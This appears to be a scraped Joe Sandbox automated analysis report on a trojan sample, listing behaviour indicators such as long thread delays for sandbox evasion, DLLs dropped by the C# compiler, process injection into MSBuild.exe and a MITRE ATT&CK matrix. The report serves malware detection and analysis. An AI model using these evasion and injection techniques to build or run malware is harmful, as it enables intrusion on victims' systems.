Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 2A60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 2990000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 5B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 6B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 6DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 7DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 3220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 3390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 5390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 65C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory allocated: 75C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 360000	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 625			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 8960			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\rndl5vbf.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\k41v4obh.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qufgb3bi\qufgb3bi.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe TID: 6268	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe TID: 5964	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6600	Thread sleep time: -225000000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3804	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3804	Thread sleep time: -17920000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe TID: 4144	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe TID: 2732	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.5060000.9.raw.unpack, SetVeloCity.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.5060000.9.raw.unpack, SetVeloCity.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.5060000.9.raw.unpack, SetVeloCity.cs	Reference to suspicious API methods: VirtualAllocExAction(processInformation.ProcessHandle, num2, length, 12288, 64)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 985000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 986000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 987000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: A81008	Jump to behavior

Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndSysPagerToolbarWindow32U
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: explorer.exeShell_TrayWnd

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,		12_2_0304E348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,		12_2_0304D7E8

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Queries volume information: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	111 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Registry Run Keys / Startup Folder	412 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Multi-hop Proxy	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	65 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	11 Security Software Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	1 Proxy	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Masquerading	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement